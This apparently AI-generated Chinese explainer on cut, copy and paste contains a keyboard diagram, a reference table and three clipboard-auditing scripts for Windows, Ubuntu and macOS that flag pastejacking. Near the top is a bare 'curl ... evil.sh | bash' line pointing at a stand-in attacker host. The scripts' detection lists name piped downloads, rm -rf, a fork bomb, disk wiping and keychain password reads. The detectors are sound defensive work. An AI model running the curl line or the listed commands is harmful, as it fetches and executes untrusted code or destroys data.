为什么刚剪切的作文突然消失了？一文彻底搞懂“剪切、复制与粘贴”的底层秘密：从隐形魔法背包、内存剪贴板到终端防黑全自动化指南

+---+---+---+
| X | C | V |   <--- 为什么全世界所有的电脑键盘，都把它们安排在左下角手掌最容易碰到的地方？
+---+---+---+

git clone https://github.com/example/snake-game.git

curl -s http://attacker-malicious-repo.local/evil.sh | bash

<#
.SYNOPSIS
    Cross-Platform Clipboard Diagnostic & Security Suite - Windows 11 Native
.DESCRIPTION
    Zero-dependency clipboard auditor, pastejacking detector, and format scrubber.
    Supports Human Interactive Mode and Headless AI Agent Mode.
#>

[CmdletBinding()]
param(
    [ValidateSet("interactive", "agent")]
    [string]$Mode = "interactive",
    [ValidateSet("audit", "scrub", "flush", "history-status")]
    [string]$Action = "audit"
)

Add-Type -AssemblyName PresentationCore
Add-Type -AssemblyName System.Windows.Forms

function Get-ClipboardReport {
    $dataObj = [System.Windows.Clipboard]::GetDataObject()
    $formats = $dataObj.GetFormats()
    $hasText = [System.Windows.Clipboard]::ContainsText()
    $rawText = if ($hasText) { [System.Windows.Clipboard]::GetText() } else { "" }
    
    $isDangerous = $false
    $risks = @()
    
    # 1. Pastejacking Detection: hidden carriage returns/newlines
    if ($rawText -match "\r?\n") {
        $isDangerous = $true
        $risks += "MULTILINE_NEWLINE_INJECTION"
    }
    
    # 2. Dangerous Command Patterns
    $dangerousKeywords = @("Invoke-Expression", "iex", "powershell -enc", "cmd /c", "rmdir /s", "del /f", "curl.*\|\s*sh")
    foreach ($pat in $dangerousKeywords) {
        if ($rawText -match $pat) {
            $isDangerous = $true
            $risks += "MALICIOUS_CMD_PATTERN: $pat"
        }
    }
    
    # 3. Format Contamination (Dirty Mud)
    $hasHtml = $formats -contains "HTML Format"
    
    # 4. Windows 11 Clipboard History State
    $historyReg = Get-ItemProperty -Path "HKCU:\Software\Microsoft\Clipboard" -Name "EnableClipboardHistory" -ErrorAction SilentlyContinue
    $historyEnabled = if ($historyReg) { [bool]$historyReg.EnableClipboardHistory } else { $false }

    return [PSCustomObject]@{
        Status           = "SUCCESS"
        Timestamp        = (Get-Date -Format "yyyy-MM-ddTHH:mm:sszzz")
        Formats          = $formats
        FormatsCount     = $formats.Count
        PayloadLength    = $rawText.Length
        ContainsHtmlMud  = $hasHtml
        SecurityRisk     = $isDangerous
        DetectedRisks    = $risks
        HistoryServiceOn = $historyEnabled
        TextSnippet      = if ($rawText.Length -gt 60) { $rawText.Substring(0, 60) + "..." } else { $rawText }
    }
}

function Invoke-ClipboardScrub {
    if ([System.Windows.Clipboard]::ContainsText()) {
        $cleanText = [System.Windows.Clipboard]::GetText()
        [System.Windows.Clipboard]::Clear()
        [System.Windows.Clipboard]::SetText($cleanText)
        return @{ Status = "SUCCESS"; Message = "Clipboard scrubbed! Dirty HTML mud removed. Pure plain text enforced." }
    }
    return @{ Status = "NOOP"; Message = "Clipboard contains no text data." }
}

function Invoke-ClipboardFlush {
    [System.Windows.Clipboard]::Clear()
    return @{ Status = "SUCCESS"; Message = "Clipboard flushed to 0 bytes safely." }
}

# --- Execution Entrypoint ---
if ($Mode -eq "agent") {
    $result = switch ($Action) {
        "audit"          { Get-ClipboardReport }
        "scrub"          { Invoke-ClipboardScrub }
        "flush"          { Invoke-ClipboardFlush }
        "history-status" { @{ HistoryEnabled = (Get-ClipboardReport).HistoryServiceOn } }
    }
    $result | ConvertTo-Json -Compress
    exit 0
}

# Human Interactive Mode
Clear-Host
Write-Host "================================================================================" -ForegroundColor Cyan
Write-Host "     WINDOWS 11 CLIPBOARD DIAGNOSTIC & SECURITY SUITE (ZERO-DEPENDENCY)        " -ForegroundColor Yellow
Write-Host "================================================================================" -ForegroundColor Cyan

$report = Get-ClipboardReport
Write-Host "[✓] Clipboard Formats Count : $($report.FormatsCount)" -ForegroundColor Green
Write-Host "[✓] Formats Detected      : $($report.Formats -join ', ')" -ForegroundColor DarkGray
Write-Host "[✓] Payload Char Length   : $($report.PayloadLength)" -ForegroundColor Green
Write-Host "[✓] Clipboard History Svc : $(if ($report.HistoryServiceOn) {'ENABLED'} else {'DISABLED (Press Win+V to turn on)'})" -ForegroundColor $(if ($report.HistoryServiceOn) {'Green'} else {'Yellow'})
Write-Host "[✓] HTML Mud Contamination: $(if ($report.ContainsHtmlMud) {'DETECTED (Dirty styling present)'} else {'CLEAN'})" -ForegroundColor $(if ($report.ContainsHtmlMud) {'Red'} else {'Green'})
Write-Host "[✓] Terminal Attack Risk  : $(if ($report.SecurityRisk) {'WARNING: Dangerous injection found!'} else {'SAFE'})" -ForegroundColor $(if ($report.SecurityRisk) {'Red'} else {'Green'})

if ($report.DetectedRisks.Count -gt 0) {
    Write-Host "`n[!] ALERTS DETECTED:" -ForegroundColor Red
    $report.DetectedRisks | ForEach-Object { Write-Host "    - $_" -ForegroundColor Red }
}

Write-Host "`n[AUTOMATED ACTIONS]" -ForegroundColor Cyan
Write-Host "  1. Scrub Clipboard (Wash sweet potato: Strip HTML/CSS mud, enforce plain text)"
Write-Host "  2. Flush Clipboard (Wipe to 0 bytes immediately)"
Write-Host "  3. Output JSON Telemetry (for Agent integration)"
Write-Host "  4. Exit"

$choice = Read-Host "`nSelect an option [1-4]"
switch ($choice) {
    "1" {
        $scrubRes = Invoke-ClipboardScrub
        Write-Host "[+] $($scrubRes.Message)" -ForegroundColor Green
    }
    "2" {
        $flushRes = Invoke-ClipboardFlush
        Write-Host "[+] $($flushRes.Message)" -ForegroundColor Green
    }
    "3" {
        $report | ConvertTo-Json
    }
    default {
        Write-Host "Exiting."
    }
}

#!/usr/bin/env bash
# ==============================================================================
# Cross-Platform Clipboard Diagnostic & Security Suite - Ubuntu 26.04 LTS
# ==============================================================================
set -euo pipefail

MODE="interactive"
ACTION="audit"

while [[ $# -gt 0 ]]; do
  case "$1" in
    --mode=*) MODE="${1#*=}" ;;
    --action=*) ACTION="${1#*=}" ;;
    --json|--agent) MODE="agent" ;;
    *) echo "Unknown arg: $1" >&2; exit 1 ;;
  esac
  shift
done

python3 - "$MODE" "$ACTION" << 'PYEOF'
import os
import sys
import json
import re
import subprocess
from datetime import datetime, timezone

mode = sys.argv[1]
action = sys.argv[2]

session_type = os.environ.get("XDG_SESSION_TYPE", "unknown").lower()

def run_cmd(cmd_list):
    try:
        p = subprocess.run(cmd_list, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, check=True)
        return p.stdout
    except Exception:
        return ""

def read_clipboard():
    text = ""
    # Try wayland first
    if session_type == "wayland" and subprocess.run(["which", "wl-paste"], stdout=subprocess.PIPE).returncode == 0:
        text = run_cmd(["wl-paste", "--no-newline"])
    elif subprocess.run(["which", "xclip"], stdout=subprocess.PIPE).returncode == 0:
        text = run_cmd(["xclip", "-selection", "clipboard", "-o"])
    elif subprocess.run(["which", "xsel"], stdout=subprocess.PIPE).returncode == 0:
        text = run_cmd(["xsel", "--clipboard", "--output"])
    return text

def write_clipboard(text):
    if session_type == "wayland" and subprocess.run(["which", "wl-copy"], stdout=subprocess.PIPE).returncode == 0:
        p = subprocess.Popen(["wl-copy"], stdin=subprocess.PIPE, text=True)
        p.communicate(text)
        return True
    elif subprocess.run(["which", "xclip"], stdout=subprocess.PIPE).returncode == 0:
        p = subprocess.Popen(["xclip", "-selection", "clipboard"], stdin=subprocess.PIPE, text=True)
        p.communicate(text)
        return True
    return False

def audit():
    raw_text = read_clipboard()
    risks = []
    is_dangerous = False

    # Check pastejacking newlines
    if "\n" in raw_text or "\r" in raw_text:
        is_dangerous = True
        risks.append("MULTILINE_NEWLINE_INJECTION (Pastejacking risk)")

    # Dangerous command regexes
    patterns = [
        r"\bsudo\b",
        r"curl.*\|\s*(ba)?sh",
        r"wget.*\|\s*(ba)?sh",
        r"\brm\s+-rf\b",
        r":\(\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;",  # fork bomb
        r"mkfs\.",
        r"\bdd\s+if="
    ]
    for pat in patterns:
        if re.search(pat, raw_text, re.IGNORECASE):
            is_dangerous = True
            risks.append(f"MALICIOUS_SHELL_PATTERN: {pat}")

    return {
        "status": "SUCCESS",
        "timestamp": datetime.now(timezone.utc).isoformat(),
        "display_server": session_type,
        "payload_length": len(raw_text),
        "security_risk": is_dangerous,
        "detected_risks": risks,
        "snippet": (raw_text[:60] + "...") if len(raw_text) > 60 else raw_text
    }

if mode == "agent":
    if action == "audit":
        res = audit()
    elif action == "scrub":
        t = read_clipboard()
        # Clean control chars except regular space
        clean = "".join([c for c in t if c == "\t" or (c >= " " and c != "\x7f")])
        ok = write_clipboard(clean)
        res = {"status": "SUCCESS" if ok else "FAILED", "message": "Scrubbed clipboard text safely."}
    elif action == "flush":
        ok = write_clipboard("")
        res = {"status": "SUCCESS" if ok else "FAILED", "message": "Flushed clipboard to 0 bytes."}
    else:
        res = {"status": "ERROR", "message": f"Unknown action: {action}"}
    print(json.dumps(res))
    sys.exit(0)

# Interactive Mode
print("=" * 80)
print("     UBUNTU 26.04 CLIPBOARD DIAGNOSTIC & SECURITY SUITE (ZERO-DEPENDENCY)     ")
print("=" * 80)
rep = audit()
print(f"[✓] Display Protocol     : {rep['display_server'].upper()}")
print(f"[✓] Payload Char Length  : {rep['payload_length']}")
print(f"[✓] Security Status      : {'ALERT: Risks Found!' if rep['security_risk'] else 'CLEAN / SAFE'}")

if rep['detected_risks']:
    print("\n[!] DANGEROUS PATTERNS DETECTED:")
    for r in rep['detected_risks']:
        print(f"    - {r}")

print("\n[AUTOMATED ACTIONS]")
print("  1. Scrub Clipboard (Strip hidden newlines & malicious chars)")
print("  2. Flush Clipboard (Wipe buffer to 0 bytes)")
print("  3. Dump JSON for AI Agent")
print("  4. Exit")

choice = input("\nSelect action [1-4]: ").strip()
if choice == "1":
    t = read_clipboard()
    clean = "".join([c for c in t if c == "\t" or (c >= " " and c != "\x7f")])
    write_clipboard(clean)
    print("[+] Successfully scrubbed clipboard to clean plain text!")
elif choice == "2":
    write_clipboard("")
    print("[+] Successfully flushed clipboard to 0 bytes!")
elif choice == "3":
    print(json.dumps(rep, indent=2))
PYEOF

#!/usr/bin/env bash
# ==============================================================================
# Cross-Platform Clipboard Diagnostic & Security Suite - macOS 26
# ==============================================================================
set -euo pipefail

MODE="interactive"
ACTION="audit"

while [[ $# -gt 0 ]]; do
  case "$1" in
    --mode=*) MODE="${1#*=}" ;;
    --action=*) ACTION="${1#*=}" ;;
    --json|--agent) MODE="agent" ;;
    *) echo "Unknown arg: $1" >&2; exit 1 ;;
  esac
  shift
done

python3 - "$MODE" "$ACTION" << 'PYEOF'
import sys
import json
import re
import subprocess
from datetime import datetime, timezone

mode = sys.argv[1]
action = sys.argv[2]

def get_pbpaste():
    try:
        p = subprocess.run(["/usr/bin/pbpaste"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, check=True)
        return p.stdout
    except Exception:
        return ""

def set_pbcopy(text):
    try:
        p = subprocess.Popen(["/usr/bin/pbcopy"], stdin=subprocess.PIPE, text=True)
        p.communicate(text)
        return True
    except Exception:
        return False

def audit():
    raw = get_pbpaste()
    risks = []
    is_dangerous = False

    # Check Pastejacking
    if "\r" in raw or "\n" in raw:
        is_dangerous = True
        risks.append("MULTILINE_NEWLINE_INJECTION (Pastejacking risk)")

    # Dangerous patterns on Mac
    patterns = [
        r"\bsudo\b",
        r"\bkillall\b",
        r"curl.*\|\s*(ba)?sh",
        r"\brm\s+-rf\b",
        r"\bosascript\s+-e\b",
        r"defaults\s+write",
        r"security\s+find-generic-password"
    ]
    for pat in patterns:
        if re.search(pat, raw, re.IGNORECASE):
            is_dangerous = True
            risks.append(f"MALICIOUS_MACOS_PATTERN: {pat}")

    return {
        "status": "SUCCESS",
        "timestamp": datetime.now(timezone.utc).isoformat(),
        "platform": "macOS",
        "payload_length": len(raw),
        "security_risk": is_dangerous,
        "detected_risks": risks,
        "snippet": (raw[:60] + "...") if len(raw) > 60 else raw
    }

if mode == "agent":
    if action == "audit":
        res = audit()
    elif action == "scrub":
        raw = get_pbpaste()
        clean = "".join([c for c in raw if c == "\t" or (c >= " " and c != "\x7f")])
        ok = set_pbcopy(clean)
        res = {"status": "SUCCESS" if ok else "FAILED", "message": "Scrubbed macOS pasteboard to plain text."}
    elif action == "flush":
        ok = set_pbcopy("")
        res = {"status": "SUCCESS" if ok else "FAILED", "message": "Flushed macOS pasteboard."}
    else:
        res = {"status": "ERROR", "message": f"Unknown action: {action}"}
    print(json.dumps(res))
    sys.exit(0)

# Interactive Mode
print("=" * 80)
print("       macOS 26 CLIPBOARD DIAGNOSTIC & SECURITY SUITE (ZERO-DEPENDENCY)        ")
print("=" * 80)
rep = audit()
print(f"[✓] Platform              : {rep['platform']}")
print(f"[✓] Active Payload Length : {rep['payload_length']} characters")
print(f"[✓] Security Assessment   : {'ALERT: Security risks detected!' if rep['security_risk'] else 'CLEAN / SAFE'}")

if rep['detected_risks']:
    print("\n[!] SUSPICIOUS RISK ITEMS:")
    for r in rep['detected_risks']:
        print(f"    - {r}")

print("\n[AUTOMATED ACTIONS]")
print("  1. Scrub Clipboard (Remove carriage returns, strip format mud)")
print("  2. Flush Clipboard (Purge buffer to 0 bytes)")
print("  3. Dump JSON Telemetry (for AI Agent)")
print("  4. Exit")

choice = input("\nSelect action [1-4]: ").strip()
if choice == "1":
    raw = get_pbpaste()
    clean = "".join([c for c in raw if c == "\t" or (c >= " " and c != "\x7f")])
    set_pbcopy(clean)
    print("[+] macOS Pasteboard successfully scrubbed to clean plain text!")
elif choice == "2":
    set_pbcopy("")
    print("[+] macOS Pasteboard flushed cleanly!")
elif choice == "3":
    print(json.dumps(rep, indent=2))
PYEOF

┌─────────────────────────────────────────────────────────────────────────────┐
│                    剪切、复制与粘贴全能极客终极速查卡片                     │
├───────────────────┬───────────────────┬─────────────────────────────────────┤
│ 动作 / 概念       │ 经典快捷键        │ 日常生活大白话比喻 & 核心底层机制   │
├───────────────────┼───────────────────┼─────────────────────────────────────┤
│ 复制 (Copy)       │ Ctrl+C / Cmd+C    │ 神奇复印机：原稿不动，克隆镜像塞进包│
│ 剪切 (Cut)        │ Ctrl+X / Cmd+X    │ 魔法剪刀：原处挖空，数据暂存入包    │
│ 粘贴 (Paste)      │ Ctrl+V / Cmd+V    │ 魔法印章：从包里无损印出，包内不耗尽│
│ 纯文本清洗粘贴    │ Ctrl+Shift+V      │ 冲洗红薯：洗掉 HTML 烂泥，纯字入库  │
│ 剪贴板历史管理器  │ Win+V / Maccy     │ 多格文具盒：容纳 25 条历史，图钉防丢│
│ 文件剪切半透明    │ Ctrl+X (在文件夹) │ 惰性求值：虚线封条指针，按下粘贴才移│
│ 括号粘贴防御      │ Bracketed Paste   │ 终端防黑：转义隐藏回车，防恶意执行  │
└───────────────────┴───────────────────┴─────────────────────────────────────┘